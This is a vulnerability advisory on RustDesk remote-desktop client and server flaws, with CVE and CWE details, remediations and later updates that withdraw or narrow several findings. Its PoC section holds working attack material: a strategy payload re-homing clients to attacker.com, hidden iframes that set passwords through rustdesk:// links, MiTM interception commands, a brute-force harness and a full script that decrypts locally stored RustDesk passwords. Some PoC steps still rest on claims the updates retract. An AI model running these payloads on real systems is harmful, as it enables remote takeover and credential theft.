TLP:GREEN
Date: March 5, 2026
Updated: June 22, 2026
Credit: Erez Kalman
Contains detailed findings and PoC’s of published CVEs
Field | Value |
CWEs | CWE-327 (Use of Broken Crypto Algorithm), CWE-684 (Incorrect Provision of Specified Functionality) |
Platforms | All — Linux, macOS, Windows, Android, iOS, Web clients |
Affected Versions | RustDesk Client ≤ 1.4.5, Server Pro ≤ 1.7.5, OSS Server ≤ 1.1.15 |
Source Files | Client: flutter/lib/common.dart (parseRustdeskUri), hbb_common/src/config.rs (config parsing). Server Pro: config generation (closed source). |
Flaw: The "Encrypted Config" feature used for deployment provides no cryptographic confidentiality. Payload is JSON → Base64 → Reversed String. This is a trivially reversible encoding scheme.
Impact: Disclosure of host (ID/rendezvous server), relay (relay server), api (API server), and key (server Ed25519 public key). Possession of these four values allows an attacker to fully map the infrastructure, register rogue clients on the rendezvous server (2.9), loot Cloud Address Books (via 2.5 and 2.6), and perform targeted Direct API brute-forcing (via 2.8).
Remediation: Implement AES-256-GCM AEAD or equivalent authenticated encryption.
🔄 Update (2026-06-22): State preconditions. Config string encodes deployment values
(host/relay/api/key), not an account-password layer; preset password supports hashed storage since
1.4.7. Local permanent-password storage: 1.4.7 stores newly set passwords non-recoverably; residual
is local data-at-rest / offline guessing after local file access. Address-book "cleartext" applies
only to plaintext-HTTP; over HTTPS it is not network cleartext and the local cache is encrypted.
Field | Value |
CWEs | CWE-345 (Insufficient Verification of Data Authenticity) [CWE-657 withdrawn — see Update] |
Platforms | All native clients (Flutter-based) |
Affected Versions | RustDesk Client ≤ 1.4.8, Server Pro ≤ 1.7.5 |
Source Files | Client: src/hbbs_http/sync.rs (strategy merge), hbb_common/src/config.rs (Config::set_options()) |
Flaw: The Strategy API allows a rogue server to override local host security policies. src/hbbs_http/sync.rs blindly merges strategy.config_options. Config::set_options() in config.rs ignores the local allow-remote-config-modification toggle. The client applies the settings hierarchy Override > Strategy > User > Default, meaning strategy-pushed values supersede all user-configured settings.
Impact: A rogue API server (or MiTM via 2.4, or re-homed client via 2.6) can:
All of the above ignore the user's explicit local "disable" choice.
Remediation: Enforce runtime toggle checks in config.rs. Implement Payload Signing using the server's private key.
🔄 Update (2026-06-22): Reframed — NOT unauthenticated remote injection. Client applies strategy only from its configured API server's heartbeat (sync.rs); server-side edit/assign is
permission-controlled. Payload unsigned (CWE-345), protected by TLS to that endpoint. Exploitable only via a subverted API channel (plaintext HTTP, compromised/rogue endpoint, client pointed elsewhere, or non-default allow-insecure-tls-fallback). CVSS 8.3 High (AT:P). CWE-657 dropped.
Field | Value |
CWEs | CWE-285 (Improper Authorization), CWE-352 (Cross-Site Request Forgery) |
Platforms | Linux, macOS, Windows, Android |
Affected Versions | RustDesk Client ≤ 1.4.5 (all Flutter-based builds) |
Source Files | Client: flutter/lib/common.dart (URI handler), src/flutter_ffi.rs (mainSetPermanentPassword) |
Flaw: Flutter URI handlers bypass Rust-level privilege checks via the FFI (Foreign Function Interface). common.dart handles rustdesk://password/<PWD> by calling FFI bind.mainSetPermanentPassword directly. Bypasses the is_root() check present in the CLI. It is Silent and Unconfirmed.
Impact: Immediate machine takeover by setting a known password.
Platform Note: iOS is excluded — it does not support being controlled, so setting a permanent password has no practical impact. Web clients do not register URI scheme handlers.
Remediation: Synchronize privilege logic between CLI and GUI. Implement configuration (client and server side) allowing this capability to be disabled (default), possibly only allowing time-limited signed & encrypted triggers (using server private key).
🔄 Update (2026-06-22): Conditional, not default. rustdesk://config and rustdesk://password are
mobile-only and ignored unless allow-deep-link-server-settings / allow-deep-link-password (allow-*,
default off — verified 1.4.8) are enabled. Desktop unaffected. Remove any "zero-click by default."
🔄 Update (2026-06-22): WITHDRAWN — Rejected. The "automatically retries with
danger_accept_invalid_certs(true)" claim is false by default. get_cached_tls_accept_invalid_cert()
returns Some(false) unless 'allow-insecure-tls-fallback' (allow-* option, default off) = "Y";
the invalid-cert retry arm is reached only when the flag is None, so by default the client
fails closed (rustls → native-tls, both validating, then errors). Accepting invalid certs is an
explicit operator opt-in. Verified 1.4.5 & 1.4.8. CWE-295 and Critical 9.1 retracted.
Field | Value |
CWEs | CWE-522 (Insufficiently Protected Credentials) [CWE-319 conditional — applies only under a subverted API channel] |
Platforms | All native clients — Primarily Pro environments |
Affected Versions | RustDesk Client ≤ 1.4.8, Server Pro ≤ 1.7.5 |
Source Files | Client: src/hbbs_http/sync.rs (heartbeat push of preset-address-book-password). Server Pro: API protocol (closed source). |
Flaw: sync.rs pushes preset-address-book-password (Address Book Secret) in raw JSON heartbeat payloads. The server API is designed to require this secret in plaintext for synchronization. If the user enters a new password in the Flutter UI, it flows via FFI to the local config; the sync loop then exfiltrates it.
Impact: Combined with 2.4, an attacker intercepts organizations' address book secrets in plaintext.
Remediation: Transition the Address Book API to a secure protocol such as SRP (Secure Remote Password).
§2.5 (CVE-2026-30796):
🔄 Update (2026-06-22): Narrowed — under normal HTTPS the heartbeat body is encrypted, so this is credential secret-minimization (CWE-522 reusable shared secret in body), NOT default cleartext
exposure. Hard CWE-319 retracted; cleartext applies only under a subverted API channel. CVSS 6.9.
Field | Value |
CWEs | CWE-862 (Missing Authorization), CWE-749 (Exposed Dangerous Method or Function) |
Platforms | Linux, macOS, Windows, Android, iOS |
Affected Versions | RustDesk Client ≤ 1.4.5 (all Flutter-based builds) |
Source Files | Client: flutter/lib/common.dart (importConfig via URI handler) |
Flaw: A rogue URI can forcibly re-home a client to an attacker server via FFI. common.dart calls importConfig without confirmation. It is Silent on mobile.
Impact: Points the client to a malicious API/Relay, initiating a full attack chain: upon re-homing, the client's heartbeat sync loop connects to the attacker's API server, which can then deliver rogue strategy payloads (2.2) to clear whitelists/escalate access modes, exfiltrate address book credentials (2.5), set a known password (2.3), or kill manageability (2.7).
Platform Note: iOS is included — while it cannot be controlled, re-homing its API server enables address book credential exfiltration (2.5). Web clients do not register URI scheme handlers.
Remediation: Require administrative elevation and implementation of confirmation modals or configuration (client and server side) allowing this capability to be disabled (default), possibly only allowing time-limited signed & encrypted triggers (using server private key).
🔄 Update (2026-06-22): Conditional, not default. rustdesk://config and rustdesk://password are
mobile-only and ignored unless allow-deep-link-server-settings / allow-deep-link-password (allow-*,
default off — verified 1.4.8) are enabled. Desktop unaffected. Remove any "zero-click by default."
Field | Value |
CWEs | CWE-345 (Insufficient Verification of Data Authenticity), CWE-755 (Improper Handling of Exceptional Conditions) |
Platforms | All native clients |
Affected Versions | RustDesk Client ≤ 1.4.8, Server Pro ≤ 1.7.5 |
Source Files | Client: src/hbbs_http/sync.rs (heartbeat loop, stop-service handler) |
Flaw: Heartbeat loop kills management if stop-service: "Y" is received in the Strategy payload. The payload is not authenticated — any entity controlling the API endpoint (including a rogue server from 2.6) can issue this command.
Impact: Permanent loss of remote manageability (Remote DoS).
Remediation: Remove the stop-service remote-kill logic, or require time-limited signed payloads (using server private key, server nonce, client id, client nonce).
§2.7 (CVE-2026-30798):
🔄 Update (2026-06-22): Narrowed — NOT arbitrary unauthenticated remote DoS. 'stop-service' honored
only from the configured API server (same precondition as §2.2). Impact = loss of management/
heartbeat visibility + remote control of that client. CVSS 8.2 High (AT:P).
Field | Value |
CWEs | CWE-916 (Use of Password Hash With Insufficient Computational Effort) [CWE-307 withdrawn — online attempts are rate-limited; concern is offline] |
Platforms | All clients and server versions |
Affected Versions | RustDesk Client ≤ 1.4.8, Server Pro ≤ 1.7.5, OSS Server ≤ 1.1.15 |
Source Files | Client: src/client.rs (handle_hash, handle_login_from_ui — login proof construction), src/common.rs (post_request_ — API transport). Peer auth: src/server/connection.rs (salt/challenge generation, password verification). |
Flaw: Handshake entropy is entirely server-controlled — the server provides salt and challenge and the client contributes no nonce. Proof = SHA256(SHA256(pwd+salt)+ challenge), computed with no slow KDF.
Impact: Enables OFFLINE brute-forcing of a captured proof. Capture-replay is NOT viable against the legitimate server — the challenge is regenerated per connection (challenge = Config::get_auto_password(6)), so a captured proof cannot be replayed. The controlled-host peer channel is further protected by the XSalsa20-Poly1305 secretbox session negotiated after Client::secure_connection verifies the HBBS-signed host key, so it is not exposed to passive capture; the residual capture surface is the Server Pro /api login path under the 2.4 invalid-cert downgrade (CVE-2026-30790). The 1.4.7 OTP limiter and LOGIN_FAILURES counter constrain only ONLINE attempts. [GPU brute-force table below is unchanged and still applies to offline recovery.]
A single NVIDIA RTX 4090 performs raw SHA256 at ~22 GH/s (Giga-hashes per second). Since the RustDesk proof requires two nested SHA256 operations, the effective crack rate is roughly 11 GH/s.
Time Estimates (at 11 GH/s):
Password Space | Keyspace | Time to Exhaust |
6-Digit PIN | 10⁶ | ~0.00009 seconds |
8-Char Lowercase+Numeric | 36⁸ | ~4.2 minutes |
8-Char Full Alphanumeric | 62⁸ | ~5.5 hours |
Remediation: Implement SRP (Secure Remote Password) for mutual authentication.
CVE-2026-30789 (RETAINED — 5.7 Medium, CWE-916): offline brute-force ONLY. Proof/stored verifier is fast SHA256, no slow KDF. Network capture not viable — proof travels inside the secure peer channel (secretbox after verifying the HBBS-signed host key) and the per-connection challenge defeats replay.
Residual: if the stored verifier (local access, §2.10) or a proof is obtained,
weak passwords crack cheaply offline. Online is rate-limited (1.4.7 OTP + LOGIN_FAILURES).
CVE-2026-30790 (Rejected): peer-path capture/replay not viable; the Pro /api login
sends the user-entered password (server-side bcrypt), NOT the double-SHA256 proof, so under HTTPS it is not network-exposed. Residual = plaintext-HTTP /api deployment (a server choice).
🔄 Update (2026-06-22, rev 2): Changing the api-server is a local, client-side action (impossible
in a locked/custom client). Impact = loss of central manageability/auditability/revocability for
that client (management evasion); server-side connection authorization AND peer authentication
remain enforced — no device access, not a server-side ACL bypass. CWE-602/841, CVSS 4.8 Medium.
Field | Value |
CWEs | CWE-602 (Client-Side Enforcement of Server-Side Security), CWE-841 (Improper Enforcement of Behavioral Workflow) [CWE-862 / CWE-306 withdrawn — see update note] |
Platforms | All native clients |
Affected Versions | RustDesk Client ≤ 1.4.8 |
Source Files | Client: src/rendezvous_mediator.rs. |
Flaw (RETAINED — CVE-2026-30783): Server Pro ACL is delivered as strategy payloads the
client is expected to honor. The signaling (hbbs) and relay (hbbr) layers operate
independently of the API layer (port 21114), so a client that orphans its api-server config
stops receiving strategy/ACL updates yet remains fully functional on signaling/relay.
Pro's ACL is therefore API-layer-only and client-side-enforced — it provides no server-side
guarantee, so a "deleted" or restricted client can keep operating. Peer authentication
(permanent password / manual accept) still gates every session: this is client-side
enforcement of a server-side control (CWE-602 / CWE-841), NOT unauthenticated device access.
WITHDRAWN — CVE-2026-30784 (Rejected; vendor position fully accepted):
Signaling layer (hbbs — port 21116): The handle_punch_hole_request() method in
rendezvous_server.rs logs all punch-hole requests to the PUNCH_REQS vector but — per
source analysis — this data is logged but not used for enforcement. Any client presenting
the server's Ed25519 public key can register an ID, discover online peers, and initiate
connection requests to any peer ID. The protobuf signaling protocol (PunchHoleRequest,
RegisterPeer) contains no authentication token field.
Relay layer (hbbr — port 21117): The relay server forwards traffic between any two clients
that present the server key. It has no mechanism to verify whether either party is
authorized by the admin dashboard.
Rationale: unauthenticated signaling/relay brokering is the documented design of the
open-source rendezvous/relay model, and brokering a punch-hole does not bypass peer
authentication. CWE-862 and CWE-306 are withdrawn with these claims.
Impact (RETAINED): "Zombie"/management immunity — a client that orphans api-server keeps
operating via relay while shown "deleted" on the dashboard, because revocation is
client-side-enforced.
Impact (WITHDRAWN): Rogue clients registering on hbbs and
enumerating/initiating to any peer "bypass all Pro ACL." → Registration and punch-hole
brokering are by-design and grant no access; peer auth gates the session.
Remediation: Enforce ACL/revocation server-side rather than relying on the client to honor
strategy payloads. [Defense-in-depth only, not a vuln fix for the OSS model: signed,
time-limited, scope-limited session-authorization tokens validated by hbbs/hbbr.]
🔄 Update (2026-06-22): CVE-2026-30784 fully WITHDRAWN (rejected) — OSS hbbs/hbbr flaw paragraphs, PoC 3.9-B, CWE-862 and CWE-306 struck. CVE-2026-30783 retained and narrowed to client-side enforcement, 4.8 Medium (down from ~9.8). Client range ≤1.4.8.
Field | Value |
CWEs | CWE-257 (Storing Passwords in a Recoverable Format), CWE-321 (Use of Hard-coded Cryptographic Key), CWE-323 (Reusing a Nonce, Key Pair in Encryption), CWE-916 (Password Hash With Insufficient Computational Effort) |
Platforms | Windows, Linux, macOS, FreeBSD (Android/iOS not affected — see below) |
Affected Versions | RustDesk Client ≤ 1.4.5 |
Source Files | hbb_common/src/password_security.rs (symmetric_crypt, encrypt_str_or_original), hbb_common/src/config.rs (field encryption callsites), hbb_common/src/lib.rs (get_uuid), machine-uid/src/lib.rs (per-OS UID retrieval) |
Flaw: The RustDesk client stores five categories of sensitive secrets in local TOML configuration files using reversible symmetric encryption with a key derived directly from a world-readable machine identifier. Any local user on a desktop OS can recover all stored secrets.
Secrets Protected (all recoverable via the same encrypt_str_or_original / encrypt_vec_or_original mechanism):
Secret | Config File | Field |
Permanent password | RustDesk.toml | password |
RustDesk ID | RustDesk.toml | enc_id |
Unlock PIN | RustDesk2.toml | unlock_pin |
SOCKS5 proxy password | RustDesk2.toml | socks.password |
Saved peer passwords | Per-peer .toml | password |
Encryption Details (from hbb_common/src/password_security.rs):
Machine UID Sources (from rustdesk-org/machine-uid crate):
OS | Exact Source | Access Level |
Windows | Registry: HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid | Any user — KEY_READ, no admin |
Linux | /var/lib/dbus/machine-id or /etc/machine-id | Any user — world-readable (0444 per systemd spec) |
macOS | ioreg -rd1 -c IOPlatformExpertDevice → IOPlatformUUID | Any user — unprivileged command. Returns the same hardware UUID on every invocation (stored in NVRAM, derived from primary NIC MAC). |
FreeBSD | /etc/hostid or kenv -q smbios.system.uuid | Any user — world-readable |
Android | N/A — get_uuid() falls back to Ed25519 public key | App-sandboxed — not affected |
iOS | N/A — same keypair fallback | App-sandboxed — not affected |
Additional Exposure Vectors:
Impact: Any local user on Windows, Linux, macOS, or FreeBSD can recover the permanent access password, all saved peer passwords, the RustDesk ID, the unlock PIN, and SOCKS5 proxy credentials. On Windows, this chains with CVE-2026-2490 for remote exploitation.
Remediation: Replace reversible encryption with one-way hashing (bcrypt/Argon2) for verification-only secrets (permanent password). For secrets that must be recoverable (peer passwords, proxy credentials), use OS-native credential stores (Windows DPAPI, macOS Keychain, Linux Secret Service / libsecret). Eliminate the fixed zero nonce. Apply a proper KDF to the machine UID before use as a key.
🔄 Update (2026-06-22): State preconditions. Config string encodes deployment values
(host/relay/api/key), not an account-password layer; preset password supports hashed storage since
1.4.7. Local permanent-password storage: 1.4.7 stores newly set passwords non-recoverably; residual
is local data-at-rest / offline guessing after local file access. Address-book "cleartext" applies
only to plaintext-HTTP; over HTTPS it is not network cleartext and the local cache is encrypted.
import base64, json
def decode(s):
return base64.b64decode(s[::-1]).decode('utf-8')
# Decode the "encrypted" config string
config_json = decode("==AclRnbp9mYvRHclN2clhWZsFmYyV3c")
config = json.loads(config_json)
# All four infrastructure coordinates are now exposed:
# config["host"] — ID/rendezvous server (hbbs)
# config["relay"] — Relay server (hbbr)
# config["api"] — API server (Pro: port 21114)
# config["key"] — Server Ed25519 public key
print(json.dumps(config, indent=2))
Malicious API response to clear IP whitelists, escalate access, and re-enable disabled features:
{
"strategy": {
"config_options": {
"whitelist": "",
"access-mode": "full",
"enable-keyboard": "Y",
"enable-file-transfer": "Y",
"enable-terminal": "Y",
"enable-camera": "Y",
"enable-remote-restart": "Y",
"api-server": "http://attacker.com"
}
}
}
<iframe src="rustdesk://password/attacker_pwd" style="display:none;"></iframe>
# 1. Position as MiTM between client and api.rustdesk.com
# Using mitmproxy to force TLS handshake failure and capture fallback traffic:
# Terminal 1: Set up transparent proxy with invalid cert
mitmproxy --mode transparent --listen-port 8080 \
--set ssl_insecure=true \
--set confdir=~/.mitmproxy_rustdesk
# Terminal 2: Redirect target traffic (Linux gateway/attacker machine)
iptables -t nat -A PREROUTING -p tcp -s <victim_ip> \
--dport 443 -j REDIRECT --to-port 8080
# 2. Client TLS handshake fails against mitmproxy's cert.
# 3. Client automatically retries with danger_accept_invalid_certs(true).
# 4. All API traffic (credentials, heartbeats, strategies) is now in cleartext
# within the mitmproxy session. Export captured flows:
mitmdump -r flows.mitm -w captured_api_traffic.txt
Client heartbeat payload captured via MiTM (2.4):
{
"id": "987654321",
"preset-address-book-password": "SECRET_PASSWORD_IN_PLAINTEXT"
}
<!-- Re-home client to attacker server. Upon reconnect, the client's
heartbeat sync loop will contact attacker's API, which delivers
rogue strategy payloads (3.2) to clear whitelists and escalate access. -->
<iframe src="rustdesk://config/==AclRnbp9mYvRHclN2clhWZsFmYyV3c"
style="display:none;"></iframe>
{
"strategy": {
"config_options": {
"stop-service": "Y"
}
}
}
# Step 1: Position as MiTM (see 2.4 for setup)
# Capture the authentication exchange from client to API server:
# Intercepted handshake (client -> server):
# POST /api/login
# {"id": "victim_user", "password": "<SHA256_PROOF>"}
# The proof is static for the same salt+challenge pair.
# Since the server controls both, a rogue server can reissue
# the same salt+challenge to harvest reusable proofs.
# Step 2: Replay is NOT viable against the legitimate server.
# The challenge is regenerated per connection (challenge = Config::get_auto_password(6)),
# so a captured proof is bound to a one-time challenge and will be rejected on reuse.
curl -X POST https://legitimate-api.example.com/api/login \
-H "Content-Type: application/json" \
-d '{"id": "victim_user", "password": "CAPTURED_SHA256_PROOF"}'
# Step 3: Offline brute-force the captured proof.
# proof = SHA256( SHA256(password + salt) + challenge ) # byte-wise concat
# No built-in hashcat mode matches this nested construction
# (-m 1410 = sha256($pass.$salt), single round — NOT equivalent).
# Use a custom hashcat OpenCL module, or a GPU/CPU harness. CPU reference:
import hashlib, itertools, string
salt = b"<captured_salt>" # server-provided
challenge = b"<captured_challenge>" # server-provided (one-time, per connection)
target = bytes.fromhex("<captured_proof_hex>")
def proof(pw):
inner = hashlib.sha256(pw + salt).digest()
return hashlib.sha256(inner + challenge).digest()
cs = (string.ascii_lowercase + string.digits).encode()
for n in range(1, 9):
for c in itertools.product(cs, repeat=n):
if proof(bytes(c)) == target:
print("FOUND:", bytes(c).decode()); raise SystemExit
🔄 Update (2026-06-22): Removed the replay curl step — the per-connection challenge makes a
captured proof non-replayable. PoC now shows capture + offline brute-force only, consistent
with the §2.8 update (CWE-294 withdrawn).
# PoC A: Management Immunity (Relay layer)
# ========================================
# 1. Orphan the API channel to stop receiving strategy/ACL updates:
sed -i 's|api-server = ".*"|api-server = ""|' ~/.config/rustdesk/RustDesk2.toml
# 2. Establish a session via the Relay (hbbr).
# The relay has no authorization check — any client with the
# server public key can route traffic through it.
# 3. Client is now immune to "Delete" or "Disconnect" commands
# from the admin dashboard. The server cannot revoke relay access.
# PoC B: Rogue Client — Signaling layer (hbbs) — WITHDRAWN (CVE-2026-30784 rejected)
# PoC B struck- It demonstrates by-design OSS signaling behavior: registering
# on hbbs and brokering a punch-hole grants no access — peer authentication still gates
# the session. Retained only as evidence the rejected claim does not yield device access.
🔄 Update (2026-06-22): PoC B removed/struck — registration + punch-hole brokering is by-design and does not bypass peer auth (CVE-2026-30784 rejected). PoC A retained as the CVE-2026-30783 management-immunity demonstration.
#!/usr/bin/env python3
"""
RustDesk TOML Password Recovery PoC (2.10)
Recovers all locally stored secrets from RustDesk configuration files.
Encryption scheme (from hbb_common/src/password_security.rs):
Algorithm : NaCl secretbox (XSalsa20-Poly1305)
Key : machine_uid zero-padded to 32 bytes (no KDF)
Nonce : fixed all-zeros [0u8; 24]
Format : "00" + Base64(ciphertext)
Fallback : Ed25519 public key from same TOML (desktop only)
Machine UID sources (from rustdesk-org/machine-uid crate):
Windows : HKLM\\SOFTWARE\\Microsoft\\Cryptography\\MachineGuid
Linux : /var/lib/dbus/machine-id or /etc/machine-id
macOS : ioreg -rd1 -c IOPlatformExpertDevice -> IOPlatformUUID
(hardware UUID in NVRAM; stable across reboots)
FreeBSD : /etc/hostid or kenv -q smbios.system.uuid
Requires: pip install pynacl
"""
import base64, platform, subprocess, sys, os, re
# ============================================================
# Step 1: Obtain the machine UID
# Mirrors rustdesk-org/machine-uid crate src/lib.rs exactly.
# All sources are readable by any unprivileged local user.
# ============================================================
def get_machine_uid():
system = platform.system()
if system == "Windows":
# Registry: HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid
# Access: KEY_READ | KEY_WOW64_64KEY — any user, no admin.
import winreg
key = winreg.OpenKey(
winreg.HKEY_LOCAL_MACHINE,
r"SOFTWARE\Microsoft\Cryptography",
0,
winreg.KEY_READ | winreg.KEY_WOW64_64KEY
)
guid, _ = winreg.QueryValueEx(key, "MachineGuid")
winreg.CloseKey(key)
return guid.strip()
elif system == "Linux":
# /var/lib/dbus/machine-id (primary) or /etc/machine-id (fallback)
# World-readable (mode 0444) per systemd specification.
for path in ["/var/lib/dbus/machine-id", "/etc/machine-id"]:
if os.path.exists(path):
with open(path, "r") as f:
return f.read().strip()
raise FileNotFoundError("No machine-id found")
elif system == "Darwin": # macOS
# ioreg -rd1 -c IOPlatformExpertDevice -> IOPlatformUUID
# Unprivileged command. Returns same hardware UUID every time
# (stored in NVRAM, derived from primary NIC MAC address).
output = subprocess.check_output(
["ioreg", "-rd1", "-c", "IOPlatformExpertDevice"],
text=True
)
for line in output.splitlines():
if "IOPlatformUUID" in line:
uuid = line.rsplit("=", 1)[1].strip().strip('"')
return uuid
raise RuntimeError("IOPlatformUUID not found")
elif system == "FreeBSD":
# /etc/hostid (primary) or kenv -q smbios.system.uuid (fallback)
# World-readable.
if os.path.exists("/etc/hostid"):
with open("/etc/hostid", "r") as f:
return f.read().strip()
output = subprocess.check_output(
["kenv", "-q", "smbios.system.uuid"],
text=True
)
return output.strip()
else:
raise RuntimeError(f"Unsupported OS: {system}")
# ============================================================
# Step 2: Derive the encryption key
# Mirrors password_security.rs symmetric_crypt() lines 213-217:
#
# let uuid = crate::get_uuid(); // raw bytes
# let mut keybuf = uuid.clone();
# keybuf.resize(secretbox::KEYBYTES, 0); // zero-pad to 32
# let key = secretbox::Key(keybuf);
#
# No KDF. No stretching. Raw identifier -> key.
# ============================================================
def derive_key(uid_string):
uid_bytes = uid_string.encode("utf-8")
return uid_bytes[:32].ljust(32, b'\x00')
# ============================================================
# Step 3: Decrypt
# Mirrors password_security.rs:
#
# - Strip "00" version prefix (VERSION_LEN = 2)
# - Base64-decode payload
# - secretbox::open(ciphertext, nonce=[0;24], key)
#
# Nonce is hardcoded: Nonce([0; secretbox::NONCEBYTES])
# This means encryption is fully deterministic.
#
# Fallback (desktop only, lines 224-234):
# If uuid-based decryption fails, try Ed25519 public key
# from Config::get_existing_key_pair().1 (stored in TOML).
# ============================================================
ZERO_NONCE = b'\x00' * 24
def decrypt_field(encrypted_str, key):
if not encrypted_str or len(encrypted_str) <= 2:
return encrypted_str
if not encrypted_str.startswith("00"):
return encrypted_str # Plaintext (pre-1.2.0)
try:
ciphertext = base64.b64decode(encrypted_str[2:])
except Exception:
return encrypted_str
try:
import nacl.secret
box = nacl.secret.SecretBox(key)
return box.decrypt(ciphertext, nonce=ZERO_NONCE) \
.decode("utf-8", errors="replace")
except Exception:
return None
def decrypt_with_fallback(encrypted_str, uid_key, pk_bytes):
"""Try machine UID key; on failure, fall back to Ed25519 PK."""
result = decrypt_field(encrypted_str, uid_key)
if result is not None:
return result, "machine_uid"
if pk_bytes:
pk_key = pk_bytes[:32].ljust(32, b'\x00')
result = decrypt_field(encrypted_str, pk_key)
if result is not None:
return result, "ed25519_pk_fallback"
return encrypted_str, "failed"
# ============================================================
# Step 4: Locate and parse TOML files
# ============================================================
def find_config_paths():
system = platform.system()
paths = []
if system == "Windows":
appdata = os.environ.get("APPDATA", "")
paths.append(os.path.join(appdata, "RustDesk", "config"))
paths.append(r"C:\Windows\ServiceProfiles\LocalService"
r"\AppData\Roaming\RustDesk\config")
elif system == "Linux":
paths.append(os.path.expanduser("~/.config/rustdesk"))
paths.append("/root/.config/rustdesk")
elif system == "Darwin":
paths.append(os.path.expanduser(
"~/Library/Preferences/RustDesk"))
elif system == "FreeBSD":
paths.append(os.path.expanduser("~/.config/rustdesk"))
paths.append("/root/.config/rustdesk")
return [p for p in paths if os.path.isdir(p)]
def parse_toml_field(filepath, field_name):
if not os.path.exists(filepath):
return None
with open(filepath, "r", errors="replace") as f:
for line in f:
line = line.strip()
if line.startswith(field_name + " "):
m = re.search(r"'([^']*)'|\"([^\"]*)\"", line)
if m:
return m.group(1) or m.group(2)
return None
def extract_key_pair_pk(filepath):
"""Extract Ed25519 public key bytes from key_pair field."""
if not os.path.exists(filepath):
return None
with open(filepath, "r", errors="replace") as f:
content = f.read()
m = re.search(
r'key_pair\s*=\s*\[\s*\[([\d\s,]+)\]\s*,\s*\[([\d\s,]+)\]',
content)
if m:
pk_ints = [int(x.strip()) for x in m.group(2).split(",")
if x.strip()]
return bytes(pk_ints)
return None
# ============================================================
# Main
# ============================================================
def main():
print("=" * 60)
print("RustDesk Local Password Recovery PoC (2.10)")
print("=" * 60)
try:
uid = get_machine_uid()
print(f"\n[+] Machine UID: {uid}")
print(f" Source: {platform.system()}")
except Exception as e:
print(f"[-] Failed to get machine UID: {e}")
sys.exit(1)
uid_key = derive_key(uid)
print(f"[+] Derived key (hex): {uid_key.hex()}")
config_dirs = find_config_paths()
if not config_dirs:
print("[-] No RustDesk config directories found")
sys.exit(1)
for config_dir in config_dirs:
print(f"\n[*] Scanning: {config_dir}")
core_toml = os.path.join(config_dir, "RustDesk.toml")
pk_bytes = extract_key_pair_pk(core_toml)
for field in ["password", "enc_id"]:
val = parse_toml_field(core_toml, field)
if val:
dec, method = decrypt_with_fallback(
val, uid_key, pk_bytes)
label = ("Permanent Password" if field == "password"
else "RustDesk ID")
print(f" [{label}] {dec} (via {method})")
ext_toml = os.path.join(config_dir, "RustDesk2.toml")
val = parse_toml_field(ext_toml, "unlock_pin")
if val:
dec, method = decrypt_with_fallback(
val, uid_key, pk_bytes)
print(f" [Unlock PIN] {dec} (via {method})")
socks_pw = parse_toml_field(ext_toml, "password")
if socks_pw:
dec, method = decrypt_with_fallback(
socks_pw, uid_key, pk_bytes)
print(f" [SOCKS5 Password] {dec} (via {method})")
peers_dir = os.path.join(config_dir, "peers")
if os.path.isdir(peers_dir):
for pf in os.listdir(peers_dir):
if pf.endswith(".toml"):
pp = os.path.join(peers_dir, pf)
pw = parse_toml_field(pp, "password")
if pw:
dec, method = decrypt_with_fallback(
pw, uid_key, pk_bytes)
pid = pf.replace(".toml", "")
print(f" [Peer {pid}] "
f"{dec} (via {method})")
print(f"\n{'=' * 60}")
print("All secrets above are recoverable by any unprivileged")
print("local user on this machine.")
print(f"{'=' * 60}")
if __name__ == "__main__":
main()
Page of Credit: Erez Kalman